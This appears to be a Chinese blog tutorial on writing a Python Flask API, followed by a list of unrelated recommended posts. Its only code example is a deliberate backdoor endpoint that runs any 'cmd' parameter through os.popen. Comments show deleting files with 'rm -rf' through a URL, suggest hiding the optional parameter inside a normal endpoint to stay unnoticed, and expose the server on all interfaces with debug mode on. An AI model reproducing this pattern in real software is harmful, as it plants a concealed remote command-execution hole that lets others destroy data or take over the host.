如何用python写接口

如何用python写接口?具体步骤如下:

1、实例化server

2、装饰器下面的函数变为一个接口

3、启动服务

开发工具和流程:

python库:flask =》实例化server:server = flask.Flask(name) =》@server.route('/index',methods=['post'])

=》def index(arg):{}

例子:

复制代码
import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
相关推荐
进击的小头1 分钟前
第11篇:频率响应绘制方法——伯德图(Bode Plot)
python·算法
2401_883035461 分钟前
C++20概念(Concepts)入门指南
开发语言·c++·算法
番茄去哪了8 分钟前
Java基础面试题day01
java·开发语言·后端·javase·八股·面向对象编程
wuqingshun31415912 分钟前
说说进程和线程的区别?
java·开发语言·jvm
用户83562907805131 分钟前
Python 设置 Excel 条件格式教程
后端·python·excel
Elastic 中国社区官方博客1 小时前
用于 Elasticsearch 的 Gemini CLI 扩展,包含工具和技能
大数据·开发语言·人工智能·elasticsearch·搜索引擎·全文检索
wjs20241 小时前
Bootstrap4 提示框详解
开发语言
biter down1 小时前
C++ 单例模式:饿汉与懒汉模式
开发语言·c++·单例模式
echome8881 小时前
Go 语言并发编程实战:用 Goroutine 和 Channel 构建高性能任务调度器
开发语言·后端·golang
2401_874732531 小时前
Python上下文管理器(with语句)的原理与实践
jvm·数据库·python